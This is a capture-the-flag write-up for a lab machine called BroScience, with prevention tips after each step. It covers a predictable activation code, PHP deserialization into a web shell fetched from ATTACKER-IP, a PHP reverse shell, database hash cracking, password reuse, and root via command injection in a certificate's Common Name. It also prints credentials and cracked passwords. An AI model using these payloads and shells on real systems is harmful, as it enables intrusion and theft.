                <form action="/comment.php" method="POST">
                    <fieldset class="uk-fieldset">
                        <legend class="uk-legend">Add a comment</legend>
                        <div class="uk-margin">
                            <textarea name="content" class="uk-textarea" rows="5" placeholder="Write something nice..." required></textarea>
                        </div>
                        <div class="uk-margin">
                            <button class="uk-button uk-button-default" type="submit">Post comment</button>
                        </div>
                        <input type="hidden" name="exercise_id" value="<?=$row[0]?>"/>
                    </fieldset>
                </form>
                <?php
                $res = pg_prepare($db_conn, "get_comments_query", 'SELECT users.username, comments.date_created, content, users.id FROM comments JOIN users ON users.id = comments.author_id WHERE exercise_id = $1 ORDER BY comments.date_created DESC');
                $res = pg_execute($db_conn, "get_comments_query", array($row[0]));
                            
                if (pg_num_rows($res) > 0) {     
                    while ($row = pg_fetch_row($res)) {
                        ?>
                        <article class="uk-comment">
                            <header class="uk-comment-header">
                                <div class="uk-grid-medium uk-flex-middle" uk-grid>
                                    <div class="uk-width-expand">
                                        <h4 class="uk-comment-title uk-margin-remove"><a class="uk-link-text" href="user.php?id=<?=$row[3]?>"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></a></h4>
                                        <p class="uk-comment-meta uk-margin-remove-top"><?=rel_time($row[1])?></p>
                                    </div>
                                </div>
                            </header>
                            <div class="uk-comment-body">
                                <p><?=htmlspecialchars($row[2],ENT_QUOTES,'UTF-8')?></p>
                            </div>
                        </article>
                        <br>
                        <?php
                    }
                } else {
                    ?>
                    <div class="uk-alert" uk-alert>
                        <a class="uk-alert-close" uk-close></a>
                        <p>There are no comments yet</p>
                    </div>
                    <?php
                }
            }
            ?>
        </div>
    </body>
</html>

/var/www/html/includes/db_connect.php

1
2
3
4
5
6
7
8
9
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

Account activation — predictable code

/var/www/html/includes/utils.php

1
2
3
4
5
6
7
8
9
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

register.php calls this and stores the result; activate.php?code= flips is_activated when the code matches.

  • srand(time()) seeds the PRNG with the current Unix timestamp. A PRNG is a formula: same seed, same sequence.
  • rand(0, 61) takes the next number of that sequence and picks a character from the 62-character alphabet, 32 times.
  • So 62³² possible codes collapse to one code per second. Knowing roughly when we registered is enough.

The server’s clock comes for free in the Date: header of the registration response. We rebuild the code locally for a few seconds either side (PHP ≥ 7.1 on both ends — rand()/srand() are aliases of mt_rand()/mt_srand() there):

1
2
3
4
5
6
7
8
9
<?php
// gen.php: php gen.php <unix_ts>
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$t = (int)$argv[1];
for ($s = $t - 3; $s <= $t + 3; $s++) {
    srand($s); $c = "";
    for ($i = 0; $i < 32; $i++) $c .= $chars[rand(0, strlen($chars) - 1)];
    echo "$s $c\n";
}
1
2
3
4
5
6
7
8
└─$ php gen.php $(date -d 'Tue, 01 Dec 2026 16:38:03 GMT' +%s)
1796143080 KtQSA70IrVk4NiBPit6H3yRraYAJ5Bdz
1796143081 xnPIN8ocQ70kLVKFJoTxKCRGXtlD92U2
1796143082 vhEfDMq22IsOUQDnGgkWuenzvSH1BIeF
1796143083 v8OL9RQ1Es998aerqnRgKm9njr3kjnxP
1796143084 qpwbWbrLDnpuR4hpxRuLlnMuaJn3l94O
1796143085 9TPpKG9rzxxhfGSjwDYfCPUaRLbi30Qr
1796143086 eFFW1SVgDYjB8oq0QyC64lpcCIijENxL

The timestamp itself (...083) is the one:

1
2
3
4
5
6
└─$ curl -ks 'https://broscience.htb/activate.php?code=v8OL9RQ1Es998aerqnRgKm9njr3kjnxP'
...
        <div uk-alert class="uk-alert-success">
            <a class="uk-alert-close" uk-close></a>
            Account activated!                </div>
...
Tip
Prevention (for reports): Never seed a PRNG with the time for security tokens. Use a CSPRNG: bin2hex(random_bytes(16)) gives 32 unpredictable hex characters.

Logged in, the navbar gets a theme toggle that calls swap_theme.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();

// Check if user is logged in already
if (!isset($_SESSION['id'])) {
    header('Location: /index.php');
}

// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
    set_theme("dark");
} else {
    set_theme("light");
}

// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
    header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
    header("Location: /index.php");
}

The theme lives in a cookie, and get_theme() — called by every page — deserializes it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

The same file defines two classes that have nothing to do with themes (leftovers of an unfinished avatar feature — <!-- TODO: Avatars --> in user.php):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

A serialized string carries its own class name, and unserialize() builds whatever class it names as long as it is defined — and utils.php is always loaded:

O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}                       <- what the app expects
O:15:"AvatarInterface":2:{s:3:"tmp";s:...;s:7:"imgPath";s:...;}     <- what we send

The gadget chain:

user-prefs cookie → base64_decode → unserialize()
  → builds AvatarInterface with our $tmp / $imgPath
  → PHP auto-calls __wakeup()
      → new Avatar($imgPath) → save($tmp)
          → file_get_contents($tmp)     // any path or URL (allow_url_fopen)
          → fopen($imgPath, "w") + fwrite
  → return $up->theme                   // null — the file is already written

AvatarInterface is the trigger (magic method), Avatar is the action (file write). Together: download any file to any path www-data can write. We build the cookie with our own copy of the class:

1
2
3
4
5
6
<?php
class AvatarInterface {
    public $tmp = "http://ATTACKER-IP:8888/web.php";
    public $imgPath = "/var/www/html/shell.php";
}
echo base64_encode(serialize(new AvatarInterface)) . "\n";

web.php on our side is a one-line PHP web shell. We serve it, load any page logged in with Cookie: PHPSESSID=...; user-prefs=<payload>, and the box fetches it:

1
2
3
└─$ python3 -m http.server 8888 --bind ATTACKER-IP
Serving HTTP on ATTACKER-IP port 8888 (http://ATTACKER-IP:8888/) ...
VICTIM-IP - - [01/Dec/2026 18:08:22] "GET /web.php HTTP/1.0" 200 -

The HTTP/1.0 gives away that it’s PHP’s file_get_contents() doing the request.

Through the web shell, a PHP reverse shell:

1
php -r '$sock=fsockopen("ATTACKER-IP",4444);exec("/bin/bash <&3 >&3 2>&3");'
1
2
3
4
5
6
7
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER-IP] from (UNKNOWN) [VICTIM-IP] 40246
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@broscience:/var/www/html$
Tip
Different from the intended path. The official route uses the same gadget to copy the PHP session file (/var/lib/php/sessions/sess_<PHPSESSID>) into the web root as .php, after setting the username to a PHP one-liner — the session file stores the username, so it becomes a web shell. Our route makes file_get_contents() fetch the shell from our HTTP server instead. Simpler, but it needs allow_url_fopen and outbound access from the box; the session-file copy works fully offline.
Tip
Prevention (for reports): Never unserialize() client-controlled data. Keep preferences server-side or use json_decode(); at minimum unserialize($data, ['allowed_classes' => ['UserPrefs']]), which turns any other class into a harmless __PHP_Incomplete_Class.

Lateral movement — database hashes

The credentials from db_connect.php work locally against PostgreSQL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
www-data@broscience:/$ psql --host=localhost --port=5432 --username=dbuser --dbname=broscience -c 'SELECT * FROM users;' --password
Password: 

 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | [email protected] | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | [email protected]          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | [email protected]       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | [email protected]          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | [email protected]        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
(5 rows)

The app hashes md5($db_salt . $password) with $db_salt = "NaCl", which is hashcat mode 20 (md5($salt.$pass)), with hashes written as hash:salt:

Spoiler
1
2
3
4
5
6
7
8
└─$ hashcat -m 20 hashes.txt /usr/share/wordlists/rockyou.txt
...
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
...
Hash.Mode........: 20 (md5($salt.$pass))
Recovered........: 3/5 (60.00%) Digests (total), 3/5 (60.00%) Digests (new)

bill is the only user with a shell and a home directory, and his web password is reused for SSH:

1
2
└─$ ssh [email protected]
bill@broscience:~$ cat user.txt

That is how we get the user.txt.

Root

linux-exploit-suggester flags the usual suspects (CVE-2021-3490 eBPF, DirtyPipe, PwnKit, CVE-2022-32250). DirtyPipe failed repeatedly and the rest need compiling, so we leave them as a last resort.

Tip
“Probable” in exploit suggesters only means the version string falls in a range — Debian backports fixes without bumping it, so these are often false positives. And no gcc on the box isn’t a blocker: compile statically on the attacker box (gcc -static) and transfer the binary.

/etc/crontab doesn’t show root’s own crontab, so we watch processes with pspy. pspy64 wanted a newer glibc than this Debian 11 box has; the statically linked pspy32 runs fine on the 64-bit kernel:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
bill@broscience:~$ wget http://ATTACKER-IP:8888/pspy32
...
2026-12-02 04:32:51 (27.6 MB/s) - ‘pspy32’ saved [3334296/3334296]

bill@broscience:~$ chmod +x pspy32
bill@broscience:~$ ./pspy32
pspy - version: 1.2.1 - Commit SHA: kali
...
2026/12/02 04:38:01 CMD: UID=0     PID=176476 | /bin/bash /root/cron.sh 
2026/12/02 04:38:01 CMD: UID=0     PID=176475 | /bin/sh -c /root/cron.sh 
2026/12/02 04:38:01 CMD: UID=0     PID=176474 | /usr/sbin/CRON -f 
2026/12/02 04:38:01 CMD: UID=0     PID=176478 | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2026/12/02 04:38:01 CMD: UID=0     PID=176477 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2026/12/02 04:38:01 CMD: UID=0     PID=176479 | 
2026/12/02 04:38:02 CMD: UID=0     PID=176480 | /usr/bin/rm -r /home/bill/Certs/. /home/bill/Certs/.. 
  • Root’s /root/cron.sh runs /opt/renew_cert.sh against /home/bill/Certs/broscience.crt — a directory bill owns — with a 10-second timeout.
  • Right after, it empties Certs/ (rm refuses . and .. themselves), so our file has to be dropped between two runs.

/opt/renew_cert.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    ...

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    ...
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

How the certificate’s Common Name reaches a shell:

  1. Expiry gate — -checkend 86400 returns 0 when the cert does not expire within 24 h, and the script exits. A cert made with -days 1 passes.
  2. Extraction — commonName is whatever follows CN = up to the first comma. $(...) inside a variable’s value is never executed by these echo/grep/awk lines.
  3. Sink — /bin/bash -c "mv ... /home/bill/Certs/$commonName.crt": the outer double quotes paste the CN into a string, and bash -c parses that string as a new command line — now $(...) runs, as root.

We create a self-signed cert that expires within a day, with the payload as Common Name (interactive prompts — -subj would treat the / in /bin/bash as a field separator):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:2048 -keyout /tmp/k.key -out broscience.crt -days 1
Generating a RSA private key
...............................+++++
................+++++
writing new private key to '/tmp/k.key'
-----
...
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:FLO
Locality Name (eg, city) []:Ath
Organization Name (eg, company) [Internet Widgits Pty Ltd]:lol
Organizational Unit Name (eg, section) []:lol
Common Name (e.g. server FQDN or YOUR name) []:$(chmod u+s /bin/bash)
Email Address []:fsf
bill@broscience:~$ mv broscience.crt Certs/
bill@broscience:~$ cd Certs/
bill@broscience:~/Certs$ openssl x509 -in broscience.crt -noout -subject
subject=C = AU, ST = FLO, L = Ath, O = lol, OU = lol, CN = "$(chmod u+s /bin/bash)", emailAddress = fsf
Tip
OpenSSL wraps the CN in double quotes because of its special characters, so the script builds mv /tmp/temp.crt /home/bill/Certs/"$(chmod u+s /bin/bash)".crt. That doesn’t save it: command substitution still runs inside double quotes — only single quotes would stop it. The , emailAddress = fsf part is cut off by the awk -F,, which is also why the payload must not contain a comma. Note openssl x509 reads a cert; openssl req -x509 is what creates one.

After the next cron run:

1
2
bill@broscience:~/Certs$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

bash drops the elevated EUID unless started with -p:

1
2
3
bill@broscience:~/Certs$ bash -p
bash-5.1# whoami
root
Tip
Prevention (for reports): Never build a bash -c command string from data parsed out of user-controlled files. Call mv directly with the variable quoted (mv /tmp/temp.crt "/home/bill/Certs/${commonName}.crt"), validate the CN against a strict allowlist (^[A-Za-z0-9.-]+$), and don’t let root jobs process files from a user-writable directory.

This is how we get root.